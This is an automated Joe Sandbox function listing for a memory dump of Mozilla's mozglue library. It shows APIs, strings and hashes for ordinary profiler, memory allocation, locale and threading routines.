API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 1303628bdac782d6421e16dd1541bc43214a6b15164d716acdd0f2cc5df29af6
Instruction ID: 2235663d12a37b9171c6bea5c938e58fa886905d94bd7718fa906f095bf9d76a
Opcode Fuzzy Hash: 1303628bdac782d6421e16dd1541bc43214a6b15164d716acdd0f2cc5df29af6
Instruction Fuzzy Hash: 3C51C8B2609B119BD712DB18C880FBE73B2AF9534AF55411DD49A53F00D731F919CB82

Function 6C425D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C425C8C,?,6C3FE829), ref: 6C425D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C425C8C,?,6C3FE829), ref: 6C425D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C425C8C,?,6C3FE829), ref: 6C425D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C425C8C,?,6C3FE829), ref: 6C425D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C425C8C,?,6C3FE829), ref: 6C425DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C425C8C,?,6C3FE829), ref: 6C425DC9
std::_Facet_Register.LIBCPMT ref: 6C425DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C425C8C,?,6C3FE829), ref: 6C425E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C425C8C,?,6C3FE829), ref: 6C425E45

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 0a803462cc1986eafe27b0d2664ca6ad85da92ca549d85b8597ae2c999399e46
Instruction ID: 17c73b82d569b4db4f3865c0cd9f2bf7dce376b4c1cff93bb62198aee9d8df58
Opcode Fuzzy Hash: 0a803462cc1986eafe27b0d2664ca6ad85da92ca549d85b8597ae2c999399e46
Instruction Fuzzy Hash: 734192747002049FCB00FF65C899EAEB7B5EF89319F548068D50A9B781EB34D805CFA1

Function 6C3FCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C3C31A7), ref: 6C3FCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C3FCFA4, 6C3FCFB8
<jemalloc>, xrefs: 6C3FCF9F, 6C3FCFB3

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 15910071798d565003ddb4849a92e3aed8af3a5657ad78a6cca7c435686ef90d
Instruction ID: 6767dcc20b0158504b41eb93d0008c616ecf3b98c32cc77c37223fafb1b86e0b
Opcode Fuzzy Hash: 15910071798d565003ddb4849a92e3aed8af3a5657ad78a6cca7c435686ef90d
Instruction Fuzzy Hash: 8F318131BC02055BFB24FF659C45FAEBA75EB41759F308818E624ABA80DB71D5028FA1

Function 6C3CECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3CF100: LoadLibraryW.KERNEL32(shell32,?,6C43D020), ref: 6C3CF122
Part of subcall function 6C3CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C3CF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C3CED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3CEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C3CEDCC
CreateFileW.KERNEL32 ref: 6C3CEE08
free.MOZGLUE(00000000), ref: 6C3CEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C3CEE32

Part of subcall function 6C3CEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C3CEBB5
Part of subcall function 6C3CEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C3FD7F3), ref: 6C3CEBC3
Part of subcall function 6C3CEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C3FD7F3), ref: 6C3CEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C3CEDC1

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 08e99df034603dfec740078c7d74a3066948bbfe9be5a72914d6ea033c141742
Instruction ID: d20f20636065280632701b5ea15e30e2ade188c634f4d462ac356c0b8915d742
Opcode Fuzzy Hash: 08e99df034603dfec740078c7d74a3066948bbfe9be5a72914d6ea033c141742
Instruction Fuzzy Hash: 6751BF71E053148BDB00EF68C8466EEB7B4AF5935CF44852DE8956B740E7316D48CBA3

Function 6C43A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C43A565

Part of subcall function 6C43A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C43A4BE
Part of subcall function 6C43A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C43A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C43A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C43A6B6

Strings

z, xrefs: 6C43A6AE
0, xrefs: 6C43A5FB

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 1014ee8828b25da64341634b2100c63d7bf5ee19685b5655ef554df857db35be
Instruction ID: 29a438a101aa274f09a6dec9d269148515b9acfeb59244c553d424c0f3563de6
Opcode Fuzzy Hash: 1014ee8828b25da64341634b2100c63d7bf5ee19685b5655ef554df857db35be
Instruction Fuzzy Hash: AB413671A087459FC741DF29C080A8EBBE4BFC9358F409A2EE4D987690EB30D549CB83

Function 6C409420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C3FAB89: EnterCriticalSection.KERNEL32(6C44E370,?,?,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284), ref: 6C3FAB94
Part of subcall function 6C3FAB89: LeaveCriticalSection.KERNEL32(6C44E370,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C3D4A68), ref: 6C40945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C409470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C409482
__Init_thread_footer.LIBCMT ref: 6C40949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C409459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C40946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C40947D

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 26512a9593635c3ea166d6823202255d5bd13f11e7ea536d173af3faff9d8019
Instruction ID: f7eca8e5f68945d7308ba0c06a0bd8506032db56cc31a4a92120775337600b29
Opcode Fuzzy Hash: 26512a9593635c3ea166d6823202255d5bd13f11e7ea536d173af3faff9d8019
Instruction Fuzzy Hash: 4A012430B0410187F710FBECD800E4673B5EB1636EF298536E90A86B41EB22E869895B

Function 6C410F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C410F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C410F88
GetCurrentThreadId.KERNEL32 ref: 6C410FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C411067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C4110A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C41114B

Part of subcall function 6C408AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C421563), ref: 6C408BD5

free.MOZGLUE(?), ref: 6C411174
free.MOZGLUE(?), ref: 6C411186

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 53f58da6d4dde8b9602fc21099a788dce4c7b8160a85f726666b9d00f0fa7cfa
Instruction ID: 495ebfeb9d59b3b4645259a2c52dc7336ac501d8cbadc147dbaa5154b8eb0a0c
Opcode Fuzzy Hash: 53f58da6d4dde8b9602fc21099a788dce4c7b8160a85f726666b9d00f0fa7cfa
Instruction Fuzzy Hash: D0619C75A083409BDB10DF25C980FAAB7F5AFD9318F14891DE8C947B11EB71E859CB82

Function 6C3CB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C3CB61E,?,?,?,?,?,00000000), ref: 6C3CB6AC

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C3CB61E,?,?,?,?,?,00000000), ref: 6C3CB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C3CB61E,?,?,?,?,?,00000000), ref: 6C3CB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C3CB61E,?,?,?,?,?,00000000), ref: 6C3CB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C3CB61E,?,?,?,?,?,00000000), ref: 6C3CB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C3CB61E), ref: 6C3CB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C3CB61E,?,?,?,?,?,00000000), ref: 6C3CB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C3CB61E,?,?,?,?,?,00000000), ref: 6C3CB79A

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 78ad3734744efbae5bbb18e7fc3e2a30191fbeb5a22f4c1f24884fed36f1ff34
Instruction ID: e02466626fc77617ac5b597500ce4ae726ef78081b60ad8d564df4d12bfcbbd5
Opcode Fuzzy Hash: 78ad3734744efbae5bbb18e7fc3e2a30191fbeb5a22f4c1f24884fed36f1ff34
Instruction Fuzzy Hash: 1841ABB2E001159FCB04DF68DC409AEB7B9BF54318F250669EC25EB790D7319D148BE2

Function 6C3CEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C445104), ref: 6C3CEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C3CEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C3CEFEC
free.MOZGLUE(?), ref: 6C3CF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C3CF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C3CF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C3CF065
moz_xmalloc.MOZGLUE ref: 6C3CF072

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2040e5b4950725adc6b3fe659be02706b0c8a9bc969c1bb38e4bf84b8daa021e
Instruction ID: 7827be19c2687e5f7f5cac2561c0edbb47636c2d5e8235cd2685f648bb8ff5e7
Opcode Fuzzy Hash: 2040e5b4950725adc6b3fe659be02706b0c8a9bc969c1bb38e4bf84b8daa021e
Instruction Fuzzy Hash: 7D41D9B1B002159FCB08DF68D8819AE7765AF89314B25422CE815DB794EB31ED15CBE2

Function 6C43B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C43B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C43B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C43B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C43B5F4
__Init_thread_footer.LIBCMT ref: 6C43B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C43B61F
std::_Facet_Register.LIBCPMT ref: 6C43B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C43B655

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: c7f49a3440a0605a75c4ec1e1000ae186764c5041b30c05e21e08bf13660a876
Instruction ID: 99fbe839369ab7ce4813dd172c7215e1f82b4869a2a00e1c22481741db191cbb
Opcode Fuzzy Hash: c7f49a3440a0605a75c4ec1e1000ae186764c5041b30c05e21e08bf13660a876
Instruction Fuzzy Hash: 1431C1B1B00614CBDB00FB69C898DAEB7B5EB8A32DB244569D91697740DB34A806CF91

Function 6C406590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C3FFA80: GetCurrentThreadId.KERNEL32 ref: 6C3FFA8D
Part of subcall function 6C3FFA80: AcquireSRWLockExclusive.KERNEL32(6C44F448), ref: 6C3FFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C406727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C4067C8

Part of subcall function 6C414290: memcpy.VCRUNTIME140(?,?,6C422003,6C420AD9,?,6C420AD9,00000000,?,6C420AD9,?,00000004,?,6C421A62,?,6C422003,?), ref: 6C4142C4

Strings

vDl, xrefs: 6C40696C
data, xrefs: 6C406593

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vDl
API String ID: 511789754-2190741057
Opcode ID: 2e0ceaabc93115449d291d14b309d18b4d50027c0d661ab5b1a80af4b7fc94ec
Instruction ID: 52fafc7c64247eb2e5cdbf7ae07e7657cf0c1e3b46b42cb32d944e4254ac016c
Opcode Fuzzy Hash: 2e0ceaabc93115449d291d14b309d18b4d50027c0d661ab5b1a80af4b7fc94ec
Instruction Fuzzy Hash: 9BD19D75B083408BD724DF25D851F9FB7E5AFC5308F10892DE98A87B51EB30A949CB92

Function 6C3FD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C3CEB57,?,?,?,?,?,?,?,?,?), ref: 6C3FD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C3CEB57,?), ref: 6C3FD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C3CEB57,?), ref: 6C3FD673
free.MOZGLUE(?), ref: 6C3FD888

Strings

W<l, xrefs: 6C3FD5D9, 6C3FD63F
|Enabled, xrefs: 6C3FD81E

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: W<l$|Enabled
API String ID: 4142949111-1043484358
Opcode ID: fad59a650a76a382a2306e30a5f187f5765c8cd4114b977cb7503a5f4284da2f
Instruction ID: 5fd9da4425f82c1361040c2326c2eeae9f1099a6c5995dc5836635050d7ba469
Opcode Fuzzy Hash: fad59a650a76a382a2306e30a5f187f5765c8cd4114b977cb7503a5f4284da2f
Instruction Fuzzy Hash: 17A10770A003588FDB11DF69C484BAEBBF1EF49318F14845DD8A96B741C731A84ACFA1

Function 6C3D9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C427ABE), ref: 6C3D985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C427ABE), ref: 6C3D98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C3D9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C3D9918
free.MOZGLUE(?), ref: 6C3D9975

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 313debba34e0c69147d940e226a4d9985ca5934c9898672189f7167c105e73d0
Instruction ID: 62bb74e814859aa9f73de2b82a4d5ce1fba661db1f3b4ef7d0a5f158f83da9be
Opcode Fuzzy Hash: 313debba34e0c69147d940e226a4d9985ca5934c9898672189f7167c105e73d0
Instruction Fuzzy Hash: 1A71ABB66007058FC724CF28C490956B7F5FF4A3287254AADD89A8BB90DB32F845CF91

Function 6C3DB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C41CC83,?,?,?,?,?,?,?,?,?,6C41BCAE,?,?,6C40DC2C), ref: 6C3DB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C41CC83,?,?,?,?,?,?,?,?,?,6C41BCAE,?,?,6C40DC2C), ref: 6C3DB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C41CC83,?,?,?,?,?,?,?,?,?,6C41BCAE), ref: 6C3DB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C41CC83,?,?,?,?,?,?,?,?,?,6C41BCAE,?,?,6C40DC2C), ref: 6C3DB896

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: c1a7c47a557004b5ddbca62ffe394e73263d2c79f1b73aef0e04ab12bf273baa
Instruction ID: f906a55403cba2ae0ae619cce53d11033db2ae190591e96c7055ed635b336034
Opcode Fuzzy Hash: c1a7c47a557004b5ddbca62ffe394e73263d2c79f1b73aef0e04ab12bf273baa
Instruction Fuzzy Hash: 70516876B006408FCB14DF59C494A2ABBF5FF8931CB6A8559E98A8B341C731F801CF90

Function 6C411D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C411D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C411BE3,?,?,6C411D96,00000000), ref: 6C411D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C411BE3,?,?,6C411D96,00000000), ref: 6C411D4C
GetCurrentThreadId.KERNEL32 ref: 6C411DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C411DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C411DDA

